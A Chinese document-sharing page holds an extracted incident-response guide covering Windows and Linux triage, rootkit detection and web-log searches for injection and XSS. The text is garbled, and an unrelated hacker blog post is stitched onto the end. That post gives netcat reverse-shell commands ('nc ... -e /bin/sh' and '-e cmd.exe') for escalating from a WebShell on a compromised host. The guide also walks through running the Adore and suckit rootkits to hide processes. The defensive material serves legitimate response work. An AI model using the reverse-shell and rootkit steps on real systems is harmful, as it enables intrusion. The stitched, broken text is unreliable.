应急响应技术指南_第1页
应急响应技术指南_第2页
应急响应技术指南_第3页
应急响应技术指南_第4页
应急响应技术指南_第5页
已阅读5页,还剩74页未读 继续免费阅读

下载本文档

版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领

文档简介

应急响应技术指南应急响应技术指南 版权声明版权声明 本文中出现的任何文字叙述、文档格式、插图、照片、方法、过程等内容,除另有特别注明,版权所有, 受到有关产权及版权法保护。任何个人、机构未经的书面授权许可,不得以任何方式复制或引用本文的任 何片断。 适用性声明适用性声明 本文档用于描述一般事件的应急响应流程及技术手段,供分支工程技术人员参考使用。 - - 目录目录 一. 前期准备.1 1.1 应急流程.1 1.1.1 现场应急流程.1 1.1.2 远程支持流程.2 1.1.3 应急支持接口.3 1.2 应急工具包.3 1.2.1 Windows 系统快速信息收集.3 1.2.2 Windows 检测工具包.6 1.2.3 UNIX/Linux 检测工具包.7 1.2.4 WEB 检测工具包.8 二. 技术指南.9 2.1 WINDOWS检测技术.9 2.1.1 Windows 常规检测.9 2.1.2 Windows 恶意代码监测.14 2.2 UNIX/LINUX检测技术 .47 2.2.1 UNIX/Linux 常规检测.47 2.2.2 UNIX/Linux 恶意代码监测.56 2.3 WEB 检测技术 .65 2.3.1 WEB 日志分析.65 - 0 - 一一. 前期准备前期准备 1.1 应急流程应急流程 1.1.1 现场应急流程现场应急流程 - 1 - 1.1.2 远程支持流程远程支持流程 - 2 - 1.1.3 应急支持接口应急支持接口 接口部门接口部门 技术支持部 服务支持组 接口人接口人 服务支持组 1.2 应急工具包应急工具包 1.2.1 Windows 系统快速信息收集系统快速信息收集 在应急响应过程中,对 Windows 系统的检查相对较多地依赖于第三方工具,而在没有 可用第三方检查工具或由于某些特殊原因而无法在被检查系统上运行其他工具时,可参考本 节,以便能在借助系统自带工具的情况下快速收集信息。 系统信息系统信息 开始 程序 附件 系统工具 系统信息(或直接 开始运行 winmsd ) 在系统信息的系统摘要中可获取基本的系统信息,可通过截图或保存为 NFO 文件 - 3 - 用户信息用户信息 命令行方式:命令行方式:net user,可直接收集用户信息,若需查看某个用户的详细信息,可使用 命令 net user username 图形界面:图形界面:开始 运行 compmgmt.msc 本地用户和组 用户 注册表:注册表:开始 运行 regedit(Windows 2000 系统需运行 regedt32),打开 HKEY_LOCAL_MACHINESAM,为该项添加权限(如下图) 添加权限完成后按 F5 刷新即可访问子项。 打开:HKEY_LOCAL_MACHINESAMSAMDomainsAccountUsers 在此项下,导出所有以 00000 开头的项,将所有导出项与 F4(该项对应 administrator 用户)导出内容做比较,若其中“F”值内容相同,则可能为克隆用户 进程、服务、驱动信息进程、服务、驱动信息 进程:进程:打开系统信息工具,依次打开 软件环境 正在运行任务,在此可查看进程名及 其对应的执行文件 - 4 - 服务:服务:打开系统信息工具,依次打开 软件环境 服务,在此可查看服务的启动情况及 其对应的启动文件 驱动:驱动:打开系统信息工具,依次打开 软件环境 系统驱动程序,在此可查看驱动的启 动情况及其对应的驱动文件 模块:模块:打开系统信息工具,依次打开 软件环境 加载的模块,在此可查看被加载的 DLL 文件及其对应的文件路径 启动项:启动项:打开系统信息工具,依次打开 软件环境 启动程序,在此查看启动程序名及 其对应的启动文件路径 若需对以上信息进行保存,可保存为 NFO 文件,或选择导出菜单导出为文本文件。 日志与文件日志与文件 查看系统日志:查看系统日志:开始 运行 eventvwr,选择要查看的日志类型 若需导出系统日志,可右键选择要收集的日志类型,选择“另存日志文件”,建议导出 为 csv 文件,方便快速统计。 其他程序日志:其他程序日志: IIS 日志:日志:IIS 日志默认存储于%systemroot%system32LogFiles,若被检测主机为虚 拟主机,为判断每个虚拟站点对应的 IIS 日志,可使用 IIS 管理脚本 findweb.vbs 命令格式为 cscript findweb.vbs test2 输出结果如下 Web Site Number = 4 Web Site Description = test2 Hostname = - 5 - Port = 80 IP Address = 由输出判断该站点对应的日志路径为 %systemroot%system32LogFilesW3SVC4 Apache 日志:日志:apache for win32 的日志默认存储于其安装目录下的 logs 目录中,其中 access.log 为访问日志,若该日志不存在或较长时间未出现过更新,则日志路径可能被修改, 应查看 httpd.conf 文件中的下列字段 ErrorLog logs/error.log CustomLog logs/access.log common 根据 CustomLog 字段指定的路径,可获取真实的日志文件位置。 网络信息网络信息 Windows 2000 下可使用 netstat an 命令收集网络连接信息。 Windows XP 以后版本中可使用 netstat ano 命令收集网络信息。 补丁信息补丁信息 Windows 2000 系统中,收集补丁信息可直接访问注册表路径 HKEY_LOCAL_MACHINESOFTWAREMicrosoftUpdates,该路径下存储了系统及 Windows 组件的补丁安装信息。 Windows XP 以后版本的系统中,可使用 WMIC 命令收集补丁信息,运行命令 wmic qfe 注:为避免输出过多信息,可使用命令 wmic qfe get Description, HotFixID 或 调整 cmd 窗口的宽度、高度及高和宽的缓冲区大小。 1.2.2 Windows 检测工具包检测工具包 分类分类命令命令 cross(uid=500)-root for su service 此类提升权限的信息需要我们引起足够的重视,很有可能是入侵者留下的痕迹。 (3)cron 日志 cron 指 Unix 允许用户设定在某一时间执行程序,日志文件默认记录在/var/log/cron 中 - 53 - (4)登录日志 通过 ssh 登录的信息,存放在/var/log/secure 中,下面是一个 ssh 暴力破解密码的日志 记录 (5)shell 日志 bash 的历史记录存放在用户主目录下.bash_history 中,用户所有输入的命令都会记录, 如果攻击者未删除此日志,就可以仔细分析并判断攻击者的行为,比如:攻击者得到一个低 权限用户,然后编译漏洞利用程序提升权限,在这里就可以记录他输入的命令。 - 54 - (6)apache 日志 Apache HTTP 服务器提供了非常全面而灵活的日志记录功能,利用 Apache 的日志文件 可以反馈出服务器的访问信息,错误信息等。主要包含 Apache 访问日志 access_log 和错误 日志 error_log 等 以 rpm 方式安装的 apache 的日志存放在/var/log/httpd 中(如图),使用源码安装的 apache 的日志存放在 apache 安装目录 log 文件夹中 SUID 文件文件 SUID 代表 Set User ID, SGID 代表 Set Group ID,当一个可执行文件被设置 SUID 时, 任何用户运行此文件时,都将以文件属主的权限执行,如图:passwd 命令被设置 SUID - 55 - 我们可以使用 find 命令搜索硬盘中所有 SUID 文件,注意观察搜索结果,看是否有可疑 文件。 find / -perm - type f print RPM 完整性检查完整性检查 在 Linux 系统下可以使用 rpm V 来判断软件包中的文件是否被修改,例如: 也可以使用 rpm Va 命令来列出系统中所有发生过修改的软件包(包括可执行文件、 配置文件等)。 命令将列出校验失败的文件,含义如下: S大小改变大小改变 M权限改变 5MD5 改变 L连接改变 D设备改变 - 56 - U用户改变 G组改变 T日期和时间改变 missing文件丢失 网络连接网络连接 查看系统当前开放的端口可以使用命令 netstat anp,列出本机开放的端口,端口对应 的进程的 PID 值,连接状态等信息 使用命令 lsof i 也可以查看系统当前开放的端口及端口对应的进程的 PID 值等信息 - 57 - 2.2.2 UNIX/Linux 恶意代码监测恶意代码监测 本章节描述了常见恶意代码检查工具的使用方法和技巧,同时列举了常见恶意程序的原 理和分类,不能完整覆盖全部已知恶意程序。 如需要了解更多的恶意程序查杀实例,请参考常见恶意程序查杀指南。 用户模式用户模式 rootkit-lrk5 检测检测 LRK5 是一种工作在用户级(ring3)下的 rootkit,通过替换系统原有文件的方式实现隐 藏功能。 检测方式主要有两种: 1、文件完整性工具 Tripwire 需要基准校验库 2、专用 rootkit 检测工具 Chkrootkit Rootkithunter Rootkit-redstorm 使用检测使用检测 1、下载解压 redstorm 压缩包 toolkit.gz,使用./install 安装。 - 58 - 2、安装后可只用/bin/hate/sk 命令执行隐藏等操作。 3、使用 rkhunter c 命令可检查出系统感染 r3dstorm rootkit。 - 59 - LKM Rootkit-Adore 使用检测使用检测 根据系统的类型,攻击者有不同的方法来对内核进行修改,在 N 种 Unix 系统上修改内 核最简单的方法就是利用系统本身的加载的内核模块(LKM)的功能,因此大多数的内核级 Rootkit 通过利用 LKM 动态地将内核更新来提供新功能,新添加的模块扩展了内核,修改了 系统调用表,同时对内核和其他使用内核的所有东西有了完全访问权。 下面看一个 LKM rootkit 实例-Adore: 编译运行 adore,configure 后需修改 Makefile 中的 INC 为系统对应位置。relink 时选择 一个 LKM,使用 startadore 运行 adore。 - 60 - - 61 - 使用 adore 隐藏某进程,找到 gedit 的 pid 为 2113,使用./ava i 2113 命令隐藏该进程, 以下第二个截图中的 gedit 被隐藏。 - 62 - 使用 adore 隐藏文件 a,执行 ava h ./a 后用 ls a 命令无法看到文件 a,执行 ava u ./a 后,文件 a 恢复显示。 - 63 - 使用 rkhunter -c 命令检测系统,可看到 8 个可疑文件。 - 64 - /dev/kmen rootkit 使用检测使用检测 /dev/kmem 包含内核自身存储空间印象,当前正在运行的内核代码也位于这部分内存空 间中。通过/dev/kmem 修改内存中的内核,Sd 和 Devik 编写代码搜索/dev/kemen,查找系 统调用表, 例如:SYS_open、SYS_read、SYS_execve 然后通过下面两个自己实现的函数来达到修改系统调用表的目的,从而实现 rootkit 功能。 rkm(read kernel memory)读取内核空间各个有用的项 wkm(write kernel memory)直接向内核存储空间写入代码 下面看下/dev/kmen rootkit 实例-suckit 编译生成可执行程序 sk。使用命令./deps,make。 初次使用./sk 或./sk C 命令,配置 suckit,选择隐藏文件的前缀及根目录,同时配置密 码。 - 65 - 运行 sk,输入密码后,可使用 sk h pid 隐藏进程。 使用工具检测检测未发现明显异常。可依据警告项或无法检测的项目进一步分析。 - 66 - 2.3 WEB 检测技术检测技术 2.3.1 WEB 日志分析日志分析 IIS 日志日志 .1 IIS 日志路径日志路径 IIS 日志默认保存在%systemroot%system32LogFiles目录下 对于虚拟主机,可使用 findweb.vbs 脚本进行检查,详情参考本文档 节。 - 67 - .2 IIS 日志格式定义日志格式定义 注:每条日志记录的时间均为 GMT 标准时间,计算时间需要 GMT+8 Apache 日志日志 .1 Apache 日志路径日志路径 Linux 系统中,apache 的访问日志默认位置为 /var/log/httpd/access.log Windwos 系统中,apache 的访问日志默认位置为 apache 安装目录下的 logs 目录中的 access.log。 若日志不在默认路径,可查看配置文件 httpd.conf 中 CustomLog 字段。 .2 Apache 日志格式定义日志格式定义 52 - - 30/Apr/2009:14:56:00 +0800 GET /index.php HTTP/1.0 200 5172 5230/Apr/2009:14:56:00 +0800 GET /index.php HTTP/1.0 2005172 远程远程 IP 地址地址访问时间请求路径状态值传输数据大小 注: 默认配置的 apache 日志只记录 common 类型,apache 对 common 类型的默认定义为 LogFormat %h %l %u %t %r %s %b common,这些信息不足以支撑一般的行为分析, 建议使用 combined 类型,combined 类型的默认定义为 LogFormat %h %l %u %t %r %s %b %Refereri %User-Agenti combined (也可以根据用户需求自定义)。 启用方法为:注释掉默认使用的 CustomLog logs/access.log common 将#CustomLog logs/access.log combined 前的注释符去掉以将其启用。 重新启动 apache 或 kill HUP cat /var/run/httpd.pid。 - 68 - WEB 事件分析事件分析 .1 远程扫描远程扫描 远程扫描行为一般通过两方面进行判断:1、时间连续性;2、User-Agent 1、时间连续性 当 WEB 日志除出现在极短时间内的对不同页面且来自同一 IP 地址的连续访问请求, 则可认为该 IP 地址对主机发起扫描。 2、User-Agent 2.1、IIS 日志日志 大部分扫描器在扫描时,会构造自己特有的 User-Agent 字段。通过搜索 User- Agent 字段中的特殊值可以判断扫描行为。 IIS 日志,可使用日志,可使用 logparser 进行自动化检索,命令格式:进行自动化检索,命令格式: logparser -i:iisw3c -o:csv select * into log.csv from ex.log where cs(User-Agent) LIKE %Some-User-Agent-Keyword% 参数解释:参数解释: -i:iisw3c,-i(input)参数含义为输入文件的类型,这里为 IIS 日志,若忽略该参数, 则 logparser 会自动检查格式 -o:csv,-o(output)定义了输出格式,这里输出格式为 CSV,如果忽略该参数, 则在标准输出上输出结果 Select into file.csv from file.log,从 file.log 日志中选择特定的字段,并将结果 写入 file.csv 文件中,如果没有-o 参数,则此处应忽略 into file.csv Select cs(User-Agent) LIKE %keywords%,LIKE 用于实现模糊匹配,如:此 处就实现了对 cs(User-Agent)字段的匹配,检查该字段中是否包含 keyword。 2.2、Apache 日志(日志(UNIX/Linux) 对于 apache 日志,若想通过 User-Agent 筛选,则需选择记录 combined 格式的日 志.。 筛选方式可通过简单的筛选方式可通过简单的 grep 进行,命令格式:进行,命令格式: grep -i Some-User-Agent-Keyword access.log 参数解释:参数解释: -i:不区分大小写 - 69 - .2 注入攻击注入攻击 在 WEB 日志中进行注入分析时,可通过对请求的关键字进行过滤,以检测可能出现的 注入攻击。 但在默认配置下,IIS 和 Apache 日志均不记录 POST 数据和 COOKIE 内容,因此只能 检测基于 URL 方式的 GET 注入。 1、IIS 日志过滤 logparser -i:iisw3c -o:csv select * into log.csv from ex.log where cs-uri- query LIKE %select% 以上命令对 cs-uri-query 字段进行过滤,查找关键字 select 类似的关键字还包括: ;,and,|,exec,insert,select,delete,update,count,*,%,chr,mid,master,truncate,char,decl are(使用逗号分隔) 2、Apache 日志过滤 grep -i GET.*.php?.*=.*union.*select.* apache.log 查找形如 GET /xxx.php?id=10 union select .的请求 .3 URL 型跨站脚本型跨站脚本 URL 型跨站大多是由于通过 URL 传递参数到程序后,程序对参数未做过滤而直接展示 在页面上,从而形成跨站。 1、IIS 日志过滤 logparser select * from ex.log where cs-uri-query LIKE %script% 2、Apache 日志过滤 grep -i GET.*.* apache.log .4 错误参数构造错误参数构造 部分程序在接收参数时,不但未对参数进行过滤,还未对参数是否在程序的处理范围之 内也未做检查,如:一些存在问题的下载程序往往会将下载目标文件作为其参数,而在用户 传递下载目标文件这一参数给下载程序时,程序本身不对参数进行严格过滤,因此可能导致 用户恶意下载一些非授权文件和源程序。 1、IIS 日志过滤 - 70 - logparser select * from ex.log where cs-uri-stem LI KE %article/show.asp% and cs-uri-query not LIKE %normal% 其中 cs-uri-stem 用于标明请求目标为 arctile/show.asp 文件,cs-uri-query 为对目标页 面 show.asp 发出的请求,该语句用于查找所有对 arctile/show.asp 文件发起的请求字符串中 不包含 normal 字符串的日志。 即,对 arctile/show.asp 的正常请求中,必定包含字符串 normal,当恶意用户进行构造 时,可能会修改原有的正常字符串 normal。 同理,也可以搜索用户所关心的内容,如: logparser select * from ex.log where cs-uri-stem LI KE %download.asp% and cs-uri-query LIKE %.asp% 检查所有对 download.asp 发起的请求中,是否包含“.asp”。 2、Apache 日志过滤 假设 index.php 接受正常请求格式为:index.php?img=xxxLogoyyy 以下 grep 语句用于过滤所有 index.php 接受 img 参数的请求,并且将正常请求从其中过 滤,只打印异常请求: grep -i GET.*index.php?img=.* | grep -v -i GET.*.php?.*=.*logo.* 另外,可进行如下匹配: grep i “GET.*viewdoc.php?.*type=edit.*HTTP” 搜索对 viewdoc.php 文件发起的请求中,是否有包含 type=edit 的字符串。 三三. 报告输出报告输出 3.1 报告模板报告模板 应急响应报告模板. doc - 71 - 3.2 报告内容报告内容 应急响应报告应尽量详细的描述整个处理过程,其中包括: 具体的处理操作 如:执行哪些命令,使用哪些工具,从这些命令和工具中可以分析出哪些结果。 操作的时间范围 为避免操作引起的日志影响分析和意外发生,应记录每次操作的时间,时间可不必 过于精确,但要记录下大致时间范围。 如:15:30-15:40,使用 XX 工具对系统进行 XX 操作。 最终处理结果 每项可能对结果有直接影响的操作结果应被记录在报告中。 原因分析 根据现场分析的结果,得出引起事件的原因。 安全建议 - Author:zerosoul(零魂) 转载请注明出处,否则就别转.(昨天又不小心搜到篇自己以前写的文章,转了很多地方,没见一 个写版权的) 昨晚(应该是今天凌晨)玩了半天朋友给的 Linux 的 WebShell,本来想实践一下 UDEV 提权呢,最 后发现服务器貌似已经打过补丁了。 不过还是有其他的收获的,所以我就 YY 下 Linux 反弹 shell 的问题。 Linux 提权绝大部分都靠的是 Local Exploit。WebShell 一般都可以执行命令,但是我们的 EXP 必须在可交互环境运行,否则如果直接在 WebShell 执行,即使能提权成功,我们也没法利用到。 所以我们需要先反弹一个 CmdLine Shell 回来(直接说成 CmdShell 怕人误解.因为 Win 有个 cmd.exe _),然后在命令行终端下执行 EXP 进行提权。 一般情况下,绝大多数人都会通过 PHP WebShell 的 Back Connect 功能弹回一个 Shell,但是有 时候会碰到服务器不支持 PHP 或者 WebShell 没法反弹的情况,比如这两天朋友给我的一个 JSPShell 所在服务器只支持 JSP,不支持 PHP。这时候,我们经典的 netcat 就可以派上用场了。 平时在 Windows 下做事的时候,在必要的情况下我们可以先在本机运行 nc -vv -lp 1234 监听端 口,然后在肉鸡上 nc 1 1234 -e cmd.exe 给我们反弹一个 CmdShell,这个方法在 Linux 仍然可行。 在本机监听后,在 WebShell 运行 nc 1 1234 -e /bin/sh 就能弹一个 CmdLine Shell 给 - 72 - 我们。 但我们经常碰到的情况并不都是这么 100%顺利的,像昨晚整的那两台,每台都是不能直接执行 nc 的。一台有 nc,但执行从是不起作用,另外一台直接压根就没有 nc. 不过,这个难不倒我们,我们可以给他装一个嘛,比较快捷的方法是,我们可以到 下载 nc 的源码,先在我们自己 linux 机器上编译好以 后把 bin 文件传上去(我开始传的我的 Debian 自带的 netcat,结果仍然不能运行.)。如果还不行, 那就把源码传上去,在目标机器上直接编译。 昨晚那两台机器,一台我是直接传的本地编译后的,一台是在目标机器上编译的。如果直接传的 nc 可以运行的话还比较好说,如果需要在目标机器上编译的话,这里有点小技巧: 因为在得到 CmdLine Shell 前,我们只能在 WebShell 里执行命令,一

温馨提示

  • 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
  • 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
  • 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
  • 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
  • 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
  • 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
  • 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。

评论

0/150

提交评论